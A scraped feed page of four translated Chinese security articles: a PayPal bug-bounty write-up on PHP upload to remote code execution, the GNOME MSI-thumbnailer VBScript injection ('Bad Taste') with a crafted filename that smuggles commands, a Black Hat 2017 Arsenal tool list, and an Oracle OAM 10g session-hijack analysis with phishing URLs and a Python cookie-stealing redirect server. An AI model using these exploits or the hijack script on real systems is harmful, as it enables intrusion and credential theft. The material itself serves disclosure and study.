Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

$
0
0
【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

2017-07-24 13:52:08

阅读:555次
点赞(0)
收藏
来源: pentestbegins.com





【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

作者:WisFree





【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

译者:WisFree

预估稿费:180RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


写在前面的话

各位同学大家好,我知道大家在看到本文的标题之后肯定会忍不住点进来,在这篇文章中我将给大家描述我是怎样入侵PayPal服务器的,这是一个任意文件上传漏洞,而这个漏洞将允许我在PayPal的服务器上实现远程代码执行。


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

相信我,设计这个漏洞的PoC其实并不是一件多么困难的事情,唯一一件让我感到幸运的事情就是我竟然真的可以找到无法抵御这种攻击的域名。

接下来,开始我们的正题!


漏洞的发现过程

在之前的一篇文章中,我跟大家介绍了我是如何破解OSCP证书的,整个破解过程的确非常艰难,大概花了我四个多月的时间吧...但是你懂的,不去花时间花精力挖漏洞的话,口袋里可就没钱用了。

对于一个普通人来说,周末无非就是喝酒以及各种各样的Party。运气好的可能还有个女朋友可以约约会,运气不好的估计就只能在家看电视剧了(强推一波《权力的游戏》)。


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

但对于我这样的人来说,我会在周末的时候看一些博客或者油管视频。有一次我找到了一些关于PayPal的文章,然后打开了Burp(关闭了拦截器)并访问了PayPal的漏洞奖励计划页面,于是我发现了如下图所示的内容:


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

上图显示的是我访问http://paypal.com/bugbounty/时服务器所返回的响应信息,仔细分析之后我发现了网站返回信息的响应头"Content-Security Policy"中包含有一串PayPal的域名。其中有一个域名是https://*.paypalcorp.com,而这个域名吸引了我的注意。与之前一样,我在挖洞的时候喜欢找出目标站点尽可能多的可用子域名,因为这些子域名站点中很可能会存在一些被管理人员所忽略的安全问题。

如果要枚举目标站点的子域名,我推荐你使用Subbrute、Knockpy和enumall等工具,而且我平时也都会用到这些工具,但是我这一次偷了个懒,我直接使用了VirusTotal来枚举子域名,子域名列表信息请点击【这里】获取。

将子域名列表拷贝到本地文件中,然后运行命令"dig -f paypal +noall +answer"来查看每一个子域名最终所指向的服务器IP地址:


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

其中有一个子域名为"brandpermission.paypalcorp.com",它指向的是站点https://www.paypal-brandcentral.com/。这个站点是PayPal的品牌中心,其实也是PayPal提供给厂商、供应商以及合作伙伴的一个ticket在线支持系统,他们可以在这个网站上申请与PalPal合作,然后上传自己品牌的Logo、图片或其他一些相关资料。

我相信当任何一个Bug Hunter看到网站的文件上传功能之后,眼睛都会放光吧?


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

于是乎,我创建了一张虚拟的ticket,然后上传了一个名叫“finished.jpg”的图片文件,系统将其以“finished__thumb.jpg”存储在了下面这个目录之中:

"/content/helpdesk/368/867/finishedthumb.jpg"

“finishedthumb.jpg”是系统在目录"/867/"中新创建的文件,吓得我赶紧去查看这个文件还是不是我之前上传的那个原始文件。幸运的是,之前上传的原始文件“finished.jpg”同样也在这个目录中。

接下来,我对这个Web应用的上传文件处理流程以及文件/文件夹的命名规则进行了深入分析,我发现上述链接中的"368"目录其实就是我们所创建的ticket编号(ID),而"867"是文件夹ID,所有与这个ticket相关的模板文件和图片等资源都会保存在这个目录下。

了解到这些东西之后,我又用同样的方法创建了另一份ticket,我发现系统用按顺序递增的方式创建了ticket ID和文件ID。创建完成之后,这一次我选择上传一个".php"后缀名的文件,其中包含有一行命令执行脚本代码:


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

这一次服务器返回的响应码为302(200意味着请求成功),根据Web应用的反应来看,这意味着服务器端并没有对用户所上传的文件类型和文件内容的有效性进行验证。非常好!看来漏洞唾手可得了!


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

需要注意的是,如果你上传的是一个php文件,那么我们将无法查看到这个php文件在服务器端的保存路径,我们只能看到ticket编号。


那接下来我们应该干什么呢?


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

当我了解到ticket ID为"/366/"之后,也就知道了我们所上传的文件将会保存在哪一个文件目录下。但由于我们无法像查看图片文件一样去查看之前所上传的php文件的存储位置,所以我们没有办法得知具体的文件夹ID。

我们现在所知道的是,当我们上传一个名为"example.jpg"的文件之后,服务器会在相同目录下生成一个"example_thumb.jpg"文件。那么我们如果上传的php文件名叫"success.php"的话,那么服务器是否会在相同目录下生成一个名叫"success_thumb.php"的文件呢?实验证明我们的假设没有错!而且我们还发现,最近使用的文件夹ID跟我们之前上传图片文件的文件夹ID是一样的。因此,存储了我们PoC php命令执行代码的文件其ticket ID为"/386/",文件ID为"867"。

为什么我不使用暴力破解攻击来获取文件夹ID呢?


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

于是我马上打开了我的爆破工具,并对下列请求地址进行暴力破解攻击(文件ID从500-1000):

https://www.paypal-brandcentral.com/content/_helpdesk/366/$(爆破500-1000)$/success.php

最终文件夹ID为"865"的请求返回了200响应码。


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

没错,我当时的感觉就像是这样:


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

非常好!接下来,我们尝试一下用刚才得到的ticket ID和文件ID来运行我们的代码:

https://www.paypal-brandcentral.com/content/_helpdesk/366/865/success.php?cmd=uname-a;whoami
【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

是的,你没看错!我好像找到了一个远程代码执行漏洞!

服务器端还托管了一个PayPal员工专用的登录页面,也许你还可以登录进去看看里面有什么,哈哈。


【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行

漏洞披露时间轴

2017年7月8日18时03分:提交漏洞信息

2017年7月11日18时03分:漏洞成功修复



【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行
【技术分享】看我如何黑掉PayPal的服务器:从任意文件上传到远程代码执行
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.pentestbegins.com/2017/07/21/hacking-into-paypal-server-remote-code-execution-2017/

【技术分享】通过GNOME Files的缩略图实现VBScript注入

$
0
0
【技术分享】通过GNOME Files的缩略图实现VBScript注入

2017-07-24 13:22:31

阅读:454次
点赞(0)
收藏
来源: dieweltistgarnichtso.net





【技术分享】通过GNOME Files的缩略图实现VBScript注入

作者:myswsun





【技术分享】通过GNOME Files的缩略图实现VBScript注入

译者:myswsun

预估稿费:50RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

在GNOME Files文件管理器中针对MSI文件的缩略图可以导致执行任意VBScript。我将这个漏洞命名为“Bad Taste”。它的logo是变色的Wine的logo。

【技术分享】通过GNOME Files的缩略图实现VBScript注入

0x01 针对用户的补救措施

删除/usr/share/thumbnails下的所有文件。不要使用GNOME Files。卸载任何能将部分文件名作为代码的软件。

0x02 针对开发者的补救措施

不要使用有bug的ad-hoc解析器来解析文件。处理他们时要充分验证输入。不要使用模版,而是使用unparsers。可以阅读这个LANGSEC。

0x03 安装依赖

在Debain GNU/linux上,安装gnome-exe-thumbnailer,nautilus和wixl。其中Wixl包用于创建MSI文件以便触发漏洞。如果PoC无法生效,则安装winetricks并运行winetricks wsh56来更新windows Script Host。


0x04 创建MSI文件

创建包含下面内容的文件poc.xml:

<?xmlversion="1.0"encoding="utf-8"?> <Wixxmlns="http://schemas.microsoft.com/wix/2006/wi"> <ProductVersion="1.0"/> </Wix> 执行下面的Bourne shell code:
wixl-opoc.msipoc.xml cppoc.msi"poc.msi\",0):Setfso=CreateObject(\"Scripting.FileSystemObject\"):Setpoc=fso.CreateTextFile(\"badtaste.txt\")'.msi"

0x05 触发执行

启动GNOME文件管理器,导航到包含MSI文件的文件夹。会出现一个badtaste.txt的空文件。


0x06 细节分析

很多文件管理器都会根据文件格式生成缩略图。在GNU/Linux上,为了找到一个程序能针对特定文件格式生成缩略图,文件管理器GNOME Files使用缩略图配置文件/usr/share/thumbnailers。安装Debian包gnome-exe-thumbnailer后,/usr/share/thumbnailers/exe-dll-msi.thumbnailer包含下面的文本:

[ThumbnailerEntry] TryExec=/usr/bin/gnome-exe-thumbnailer Exec=/usr/bin/gnome-exe-thumbnailer%i%o%u MimeType=application/x-ms-dos-executable;application/x-msdownload;application/x-msi;application/x-ms-shortcut

这意味着,当一个微软Windows可执行文件(EXE),安装程序(MSI),库(DLL)或快捷方式(LNK)的图标显示时,GNOME Files会调用/usr/bin/gnome-exe-thumbnailer来从文件中提取内嵌图标,或者根据文件类型提供图片。Shell脚本/usr/bin/gnome-exe-thumbnailer包含下面的代码:


【技术分享】通过GNOME Files的缩略图实现VBScript注入

总结

这个代码创建了一个脚本,其中包含了要显示的缩略图的文件名,并使用Wine执行它, 而并不是通过解析MSI文件来得到它的版本号。这个脚本是使用模版创建的,这样就可以在文件名中内嵌VBScript,并触发它的执行。

因为只有一行VBScript,所以通过文件名注入的语句必须用冒号隔开。而单引号可以作为一行的注释。



【技术分享】通过GNOME Files的缩略图实现VBScript注入
【技术分享】通过GNOME Files的缩略图实现VBScript注入
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://news.dieweltistgarnichtso.net/posts/gnome-thumbnailer-msi-fail.html

【Blackhat】2017美国黑帽大会兵工厂工具列表

$
0
0
【Blackhat】2017美国黑帽大会兵工厂工具列表

2017-07-24 16:20:11

阅读:547次
点赞(0)
收藏
来源: medium.com/hack-with-github





【Blackhat】2017美国黑帽大会兵工厂工具列表

作者:童话





【Blackhat】2017美国黑帽大会兵工厂工具列表

传送门

【7月23日-31日】Blackhat&DEFCON,黑客云集赌城拉斯维加斯


Blackhat&DEFCON 2017

北京时间7月23日至31日,安全圈最为火爆的顶级信息会议美国黑帽大会BlackHat(23日—28日)和世界黑客大会DEFCON(28日——31日)在美国拉斯维加斯拉开帷幕。

每年这个时候,数以万计的黑客云集拉斯维加斯,可不要以为黑客是赌徒,他们都是奔着安全圈著名的“两会”来的。可以说,他们对赌术毫无兴趣,却对 “安全技术”情有独钟,并且如痴如醉。美国黑帽大会BlackHat是信息安全行业公认的最高盛会,也是黑客大咖炫技的舞台,被称为黑客的“奥斯卡”;DEFCON黑客大会也被称为“黑客秘密大派对”,他的客人“高端大气上档次”,平均每年有超过7000名黑客和全球安全公司和安全机构的专家以及美国国防部、联邦调查局、国家安全局等政府机构的官员参加这一聚会。本篇文章为2017美国黑帽大会兵工厂工具列表。


Android、iOS移动安全

Android Tamer

https://github.com/AndroidTamer

Twitter: @AndroidTamer

主持人: Anant Shrivastava (@anantshri)


BadIntent—将Android与Burp集成

https://github.com/mateuszk87/BadIntent

主持人:Mateusz Khalil (@mateuszk87)


DiffDroid

https://github.com/antojoseph/diff-droid

主持人:Anto Joseph (@antojosep007)


Kwetza

https://github.com/sensepost/kwetza

主持人: Chris Le Roy (@brompwnie)


Needle

https://github.com/mwrlabs/needle

Twitter: @mwrneedle

主持人:Marco Lancini (@lancinimarco)


NoPE Proxy (Non-HTTP 代理扩展)

https://github.com/summitt/Burp-Non-HTTP-Extension

主持人:Josh H.S. (@null0perat0r)


代码审计

Puma Scan

https://github.com/pumasecurity/puma-scan

Twitter: @puma_scan

主持人:Aaron Cure (@curea)


Tintorera: 智能源代码审计引擎

https://github.com/vulnex/Tintorera

主持人:Simon Roses Femerling (@simonroses)


密码学

Hashview

https://github.com/hashview/hashview

主持人: Casey Cammilleri (@CaseyCammilleri), Hans Lakhan (@jarsnah12)


Gibber Sense

https://github.com/smxlabs/gibbersense

主持人: Ajit Hatti (@ajithatti)


数据取证和事件响应

Answering When/Where/Who is my Insider—UserLine

https://github.com/THIBER-ORG/userline

主持人:Chema Garcia (@sch3m4)


DefPloreX: 用于大规模eCrime取证的机器学习工具包

https://github.com/trendmicro/defplorex

主持人: Federico Maggi (@phretor), Marco Balduzzi (@embyte), Lion Gu, Ryan Flores, Vincenzo Ciancaglini


HoneyPi

https://github.com/mattymcfatty/HoneyPi

主持人: Matt South (@mattymcfatty)


PcapDB: 优化的全网络数据包捕获快速高效检索

https://github.com/dirtbags/pcapdb

主持人:Paul Ferrell (@pflarr), Shannon Steinfadt


SCOT (Sandia Cyber Omni Tracker) 威胁情报和事件响应管理系统

https://github.com/sandialabs/scot

主持人:Nick Georgieff , Todd Bruner (@toddbruner)


Security Monkey

https://github.com/Netflix/security_monkey

主持人:Mike Grima (@mikegrima) , Patrick Kelley (@MonkeySecurity)


ThreatResponse: 在AWS中用于自动化事件响应的开源工具包

https://github.com/ThreatResponse

主持人: Andrew Krug (@andrewkrug)


Volatile Memory Analysis at Scale—针对windows x64系统的高性能取证平台

https://github.com/ShaneK2/inVtero.net

主持人: Shane Macaulay (@ktwo_K2)


Yalda—自动批量智能收集

https://github.com/gitaziabari/Yalda

主持人: Gita Ziabari (@gitaziabri)


漏洞利用和道德黑客

AVET—杀软绕过工具

https://github.com/govolution/avet

主持人:Daniel Sauder (@DanielX4v3r)


通过Warhorse构建C2环境

https://github.com/war-horse/warhorse

主持人: Ralph May (@ralphte1)


Cumulus—云漏洞利用工具包

https://github.com/godinezj/metasploit-framework/tree/cumulus

主持人:Javier Godinez (@isomorphix)


GDB增强功能(GEF)

https://github.com/hugsy/gef

主持人: Chris Alladoum (@_hugsy_)


Leviathan Framework

https://github.com/leviathan-framework/leviathan

主持人:Ozge Barbaros (@ozgebarbaros), Utku Sen (@utku1337)


MailSniper

https://github.com/dafthack/MailSniper

主持人:Beau Bullock (@dafthack)


Rattler

https://github.com/sensepost/rattler

主持人:Chris Le Roy (@brompwnie)


Seth

https://github.com/SySS-Research/Seth

主持人: Adrian Vollmer (@AdrianVollmer)


硬件、嵌入式

ChipWhisperer

https://github.com/newaetech/chipwhisperer

主持人:Colin O’Flynn (@colinoflynn)


DYODE:一个针对工业控制系统的DIY、低成本Data Diode

https://github.com/arnaudsoullie/dyode

主持人:Arnaud Soullié (@arnaudsoullie), Ary Kokos ()


FTW:WAF测试框架

https://github.com/fastly/ftw

主持人:Chaim Sanders, Zack Allen (@teachemtechy)


The Bicho: 高级汽车后门生成器

https://github.com/UnaPibaGeek/CBM

主持人:Claudio Caracciolo (@holesec), Sheila Ayelen Berta (@UnaPibaGeek)


社会工程学

IsThisLegit

https://github.com/duo-labs/isthislegit

主持人:Jordan Wright (@jw_sec), Mikhail Davidov (@sirus)


IoT

Hacker Mode

https://github.com/xssninja/Alexa-Hacker-Mode

主持人:David Cross (@10rdV4d3r)


Universal Radio Hacker: Investigate Wireless Protocols Like a Boss

https://github.com/jopohl/urh

主持人:Johannes Pohl (@jopohl)


恶意软件防御

开源机器学习和主动防御工具

https://github.com/jzadeh/Aktaion

主持人:Joseph Zadeh (@JosephZadeh), Rod Soto (@rodsoto)


Cuckoodroid

https://github.com/idanr1986/cuckoo-droid

主持人: Idan Revivo (@idanr86)


Cuckoo Sandbox

https://github.com/cuckoosandbox/cuckoo

Twitter: @cuckoosandbox

主持人:Jurriaan Bremer (@skier_t)


LimaCharlie

https://github.com/refractionPOINT/limacharlie

Twitter: @rp_limacharlie

主持人:Maxime Lamothe-Brassard (@_maximelb)


Malboxes

https://github.com/GoSecure/malboxes

主持人:Olivier Bilodeau (@obilodeau)


恶意软件攻击

Empty-Nest:新型Payload生成器

https://github.com/empty-nest/emptynest

主持人: James Cook (@_jbcook), Tom Steele (@_tomsteele)


网络攻击

BloodHound 1.3

https://github.com/BloodHoundAD/BloodHound

主持人: Andy Robbins (@_wald0), Rohan Vazarkar (@CptJesus), Will Schroeder (@harmj0y)


CrackMapExec v4

https://github.com/byt3bl33d3r/CrackMapExec

主持人:Marcello Salvati (@byt3bl33d3r)


DELTA: SDN安全评估框架

https://github.com/OpenNetworkingFoundation/DELTA

主持人:Jinwoo Kim, Seungsoo Lee, Seungwon Shin


eaphammer

https://github.com/s0lst1c3/eaphammer

主持人: Gabriel Ryan (@s0lst1c3)


GoFetch

https://github.com/GoFetchAD/GoFetch

主持人:Tal Maor (@talthemaor)


gr-lora: LoRa PHY开源SDR实现

https://github.com/BastilleResearch/gr-lora

主持人: Matt Knight (@embeddedsec)


Yasuo

https://github.com/0xsauby/yasuo

主持人: Saurabh Harit (@0xsauby)


网络防御

Assimilator

https://github.com/videlanicolas/assimilator

主持人:Nicolas Videla (@jsusvidela)


Noddos

https://github.com/noddos/noddos

主持人:Steven Hessing


SITCH: 分布式GSM反向监控

https://github.com/sitch-io/sensor

Twitter: @sitch_io

主持人:Ash Wilson (@ashmastaflash)


Sweet Security

https://github.com/TravisFSmith/SweetSecurity

主持人:Travis Smith (@MrTrav)


OSINT—开源情报

Datasploit:自动化OSINT工具

https://github.com/DataSploit/datasploit

Twitter: @datasploit

主持人:Shubham Mittal (@upgoingstar)


Dradis: 10年帮助安全团队花费更多的时间测试和更少的时间报告

https://github.com/dradis/dradis-ce

Twitter: @dradisfw

主持人:Daniel Martin (@etdsoft)


OSRFramework: 开源研究框架

https://github.com/i3visio/osrframework

主持人:Félix Brezo Fernández (@febrezo), Yaiza Rubio Viuela (@yrubiosec)


逆向工程

BinGrep

https://github.com/m4b/bingrep

主持人:Hiroki Hada


FLARE VM

https://github.com/fireeye/flare-vm

主持人: Peter Kacherginsky (@_iphelix)


漏洞评估

Aardvark and Repokid

https://github.com/Netflix-Skunkworks/aardvark

https://github.com/Netflix/repokid

主持人: Patrick Kelley (@MonkeySecurity), Travis McPeak (@travismcpeak)


BugBot—后台运行在Kubernetes可扩展自动化测试Slackbot

https://github.com/anshumanbh/kubebot

主持人:Anshuman Bhartiya (@anshuman_bh)


可以检查IBM i(AS/400)机器Hack/400和IBMiScanner工具

https://github.com/hackthelegacy/hack400tool

主持人:Bart Kulach (@bartholozz)


PowerSAP:用于评估SAP安全性的Powershell工具

https://github.com/airbus-seclab/powersap

主持人: Joffrey Czarny (@Sn0rkY)


SERPICO

https://github.com/SerpicoProject/Serpico

Twitter: @SerpicoProject

主持人: Peter Arzamendi (@thebokojan), Will Vandevanter (@0xRST)


SimpleRisk

https://github.com/simplerisk/code

Twitter: @simpleriskfree

主持人:Josh Sokol (@joshsokol)


web安全

BurpSmartBuster:一个聪明的方式去寻找隐藏的宝藏

https://github.com/pathetiq/BurpSmartBuster

主持人:Patrick Mathieu (@pathetiq)


CSP Auditor

https://github.com/GoSecure/csp-auditor

主持人: Philippe Arteau (@h3xstream)


Easily Exploit Timing Attacks in Web Applications with the ‘timing_attack’ Gem

https://github.com/ffleming/timing_attack

主持人:Forrest Fleming (@ffleming)


Fuzzapi—Fuzz RESTAPI的工具

https://github.com/lalithr95/fuzzapi

Twitter: @Fuzzapi0x00

主持人:Abhijeth Dugginapeddi (@abhijeth), Lalith Rallabhandi (@lalithr95), Srinivas Rao (@srini0x00)


Offensive Web 测试框架 (OWASP OWTF)

https://github.com/owtf/owtf

Twitter: @owtfp

主持人:Viyat Bhalodia (@viyat)


PyMultiTor

https://github.com/realgam3/pymultitor

主持人: Tomer Zait (@realgam3)


ThreadFix Web应用程序攻击面分析工具

https://github.com/denimgroup/threadfix

Twitter: @ThreadFix

主持人:Dan Cornell (@danielcornell)


WaToBo:Web应用工具箱

https://github.com/siberas/watobo

主持人:Andreas Schmidt (@_znow)


WSSiP: WebSocket操作代理

https://github.com/nccgroup/wssip

主持人: Samantha Chalker (@itsisatis)


传送门

【7月23日-31日】Blackhat&DEFCON,黑客云集赌城拉斯维加斯



【Blackhat】2017美国黑帽大会兵工厂工具列表
【Blackhat】2017美国黑帽大会兵工厂工具列表
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://medium.com/hack-with-github/black-hat-arsenal-usa-2017-3fb5bd9b5cf2

【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

$
0
0
【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

2017-07-25 09:59:28

阅读:338次
点赞(0)
收藏
来源: krbtgt.pw





【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

作者:ForrestX386





【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

译者:ForrestX386

预估稿费:180RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00. 引言

Oracle OAM (Oracle Access Manager) 是Oracle公司出品的SSO解决方案。最近有国外研究者爆出,在Oracle OAM 10g中,错误地配置OAM会导致远程会话劫持(然而大部分企业都没有正确的配置,可见此漏洞影响还是蛮大的),下文是此漏洞的详情介绍。


0x01. Oracle OAM 认证流程分析

去年,Tom 和我 参与了一个事后证明还是蛮有挑战的安全评估项目,在这个项目中,我们遇到一个非常复杂的单点登录认证模型,在单点登录过程中,足足要经过18个不同的http请求才能访问到请求的资源。

我们仔细地梳理了单点登录请求中每一个请求中的cookie和相应参数,我们在这一系列cookie中发现有一个名为ObSSOCookie的cookie是最为重要的,在网上进行一番查找之后,ObSSOCookie这个cookie和Oracle Access Manager 产品有关,它是决定认证是否通过的关键指标。

首先我们需要搞明白OAM SSO认证的流程

【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

图0

正如上图所示,假如用户访问一个受保护的资源,比如:https://somewebsite.com/protected

OAM首先会检查一下请求的资源是否为受保护域的资源 (对照上图的step1 和 step2),如果是,则重定向用户请求至OAM登录页面

图1至图4演示了,用户访问受保护资源域的文件到被OAM重定向至授权登录页面的过程


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图1

somewebsite.com 是受保护的域名,需要进行授权认证才能获取其上资源


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图2

如果没有认证,somewebsite.com 会响应302,并在响应报文中植入名为ObSSOCookie的cookie,这个是cookie是somewebsite.com判断用户是否认证OK的依据。


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

图3

wh参数表示请求资源的站点,告诉OAM哪一个资源域正在接受认证。


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

图4

OAM会在响应报文中植入名为OAMREQ的cookie,这个cookie中包含了用户正在进行认证的资源域名(https://somewebsite.com).

接下来就是OAM授权登录页面(有可能包含双因子认证),下图是登录认证的流程


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

图5


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图6

正如图5和图6所示,用户提交登陆凭据至OAM,OAM 检查登录凭据是否正确,如果认证通过,则返回登录成功302响应报文,将用户请求重定向至原先站点,重定向的URL中包含了资源访问的授权码(一次性key),客户端再次访问源站的时候携带了这个访问授权码以便源站鉴权所用,源站鉴权通过之后,会在响应报文中重新生成ObSSOCookie的值,这个值就是访问源站的凭据,后续再次访问源站资源的时候,携带这个cookie就可以直接通过认证


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图7


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图8

OAM认证ok之后会响应302,将请求重定向至受保护资源域(somewebsite.com),并在重定向url中携带认证成功的标记(就是cookie)


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图9

客户端携带OAM授予的认证通过的凭据向受保护资源域(somewebsite.com) 发起请求


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图10

受保护资源域(somewebsite.com)通过了客户端请求,并在响应的302报文中修改ObSSOCookie的值,标记其认证通过


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

图11

接下来,客户端的请求都被允许


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
图12

0x02. OAM 会话劫持过程分析

从 0x01中关于Oracle OAM 认证流程的分析中,也许你已经发现了认证流程中可能会出问题的地方,如下:

1) rh 参数表示受保护资源的域名

2) OAM授予的含有认证关键信息的cookie是通过GET 方式传递

接下来,我们要做的事就是去偷取OAM认证流程中的关键cookie,然后实现会话劫持

我们查询Oracle OAM 的相关文档后发现,当我们去请求一个受保护域名不存在的文件时候,OAM也有会要求我们进行认证。


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
比如说http://localhost是受保护的域名,资源/this/does/not/exist.html是不存在的,但是OAM还是会要求我们进行认证。
虽然OAM 会对受保护域不存在的资源进行认证,我们还是怀疑,如果通过访问不存在的资源,然后获取OAM授予的合法cookie,再然后用这个cookie去访问实际存在的资源,会不会不可用
【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

但是不论怎样,我们还是进行了尝试,我们通过了OAM的认证,假设OAM给我们的重定向URL是这样的:

http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

然后我们将localhost更改为其他需要认证的域名,如下:

http://<valid_domain_of_proteced_resource>/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

我们访问一下,结果竟然可以获取这个受保护域的资源。


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

好了,到这里我们已经发现了2处漏洞:

1)开放重定向 (如上面图2所示,wh可以自行修改)

2)含有关键信息的cookie是通过GET方式传递

这样我们就可以给用户发送钓鱼连接,

http://someotherdomain.com/oam/server/obrareq.cgi?wh=somewebsite.comwu=/protected/wo=1rh=https://somewebsite.comru=/protected/

比如将wh修改为攻击者所控制的域名,这样攻击者就能获取用户在OAM登录成功之后所获取的登录凭据cookie,有了OAM授予的登录凭据cookie,攻击者就可以访问受保护域的资源


扩大成果

起初,我们认为这个漏洞只是个例,后来调查发现,我们实在是大错特错,有很多组织都存在类似这种漏洞,其中不乏一些大公司。我们开始寻找那些使用OAM 作为SSO解决方案并且有漏洞奖励计划的公司,很快,我们就发现了一家德国电信公司的站点(https://my.telekom.ro )存在此类漏洞。如果用户直接访问https://my.telekom.ro ,将会被重定向至

https://my.telekom.ro/oam/server/obrareq.cgi?wh=IAMSuiteAgentwu=/ms_oauth/oauth2/ui/oauthservice/showconsentwo=GETrh=https://my.telekom.ro:443/ms_oauth/oauth2/ui/oauthserviceru=/ms_oauth/oauth2/ui/oauthservice/showconsentrq=response_type=code&client_id=98443c86e4cb4f9898de3f3820f8ee3c&redirect_uri=http://antenaplay.ro/tkr&scope=UserProfileAntenaPlay.me&oracle_client_name=AntenaPlay 如果点击上面那个链接,又会被重定向至
https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&username=string&OverrideRetryLimit=0&contextValue=/oam&password=sercure_string&challenge_url=https://my.telekom.ro/ssologin/ssologin.jsp&request_id=-9056979784527554593&authn_try_count=0&locale=nl_NL&resource_url=https://my.telekom.ro:443/ms_oauth/oauth2/ui/oauthservice/showconsent?response_type=code&client_id=98443c86e4cb4f9898de3f3820f8ee3c&redirect_uri=http://antenaplay.ro/tkr&scope=UserProfileAntenaPlay.me&oracle_client_name=AntenaPlay

用户必须登录授权之后,才能获取访问资源的权限。如果攻击者将 URL1中的rh修改为攻击者控制的恶意站点,如下:

https://my.telekom.ro/oam/server/obrareq.cgi?wh=IAMSuiteAgentwu=/msoauth/oauth2/ui/oauthservice/showconsentwo=GETrh=http://our_malicious_domain/msoauth/oauth2/ui/oauthserviceru=/msoauth/oauth2/ui/oauthservice/showconsentrq=responsetype=code&clientid=98443c86e4cb4f9898de3f3820f8ee3c&redirecturi=http://antenaplay.ro/tkr&scope=UserProfileAntenaPlay.me&oracleclientname=AntenaPlay 我们假装成受害者,点击了URL3,然后页面会调转到OAM登录页面,登录成功之后,会将OAM的授权信息发给攻击者控制的站点http://our_malicious_domain。然后http://our_malicious_domain就会偷取合法用户登录的凭据,然后再将rh修改为原来的值(https://https://my.telekom.ro:443),然后再重定向给用户,这期间,用户一点察觉都没有

0x03. OAM 会话劫持PoC及演示

PoC:

#!/usr/bin/envpython """ OracleOAM10gSessionHijack usage:Oracle_PoC.py-dredirect_domain Defaultbrowserwillbeusedtoopenbrowsertabs PoCtestedonwindows10x64usingInternetExplorer11 positionalarguments: """ importSimpleHTTPServer importSocketServer importsys importargparse importwebbrowser importtime defredirect_handler_factory(domain): classRedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): defdo_GET(self): ifself.path.endswith("httponly")orself.path.endswith("%252F")orself.path.endswith("do")orself.path.endswith("adfAuthentication"): webbrowser.open_new("https://"+domain)#Loadwebsiteinordertoretrieveanyothercookiesneededtologinproperly time.sleep(5) webbrowser.open("https://"+domain+"/"+self.path,new=0,autoraise=True)#Usereceivedcookietologinontothewebsite time.sleep(5) self.send_response(301) self.send_header('Location','https://'+domain+'/'+self.path)#Sendsamecookietothevictimandlethimlog-inaswell,tonotraiseanysuspicion;) self.end_headers() return else: printself.path returnRedirectHandler defmain(): parser=argparse.ArgumentParser(description='OracleWebgate10gSessionHijacker') parser.add_argument('--port','-p',action="store",type=int,default=80,help='porttolistenon') parser.add_argument('--ip','-i',action="store",default="0.0.0.0",help='hostinterfacetolistenon') parser.add_argument('--domain','-d',action="store",default="localhost",help='domaintoredirectthevictimto') myargs=parser.parse_args() port=myargs.port host=myargs.ip domain=myargs.domain redirectHandler=redirect_handler_factory(domain) handler=SocketServer.TCPServer((host,port),redirectHandler) print("servingatport%s"%port) handler.serve_forever() if__name__=="__main__": main()

0x04. 如何减轻此漏洞带来的损害

我们就此漏洞已经联系了Oracle,他们简单地认为这是配置导致的问题,他们的回如下:


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析

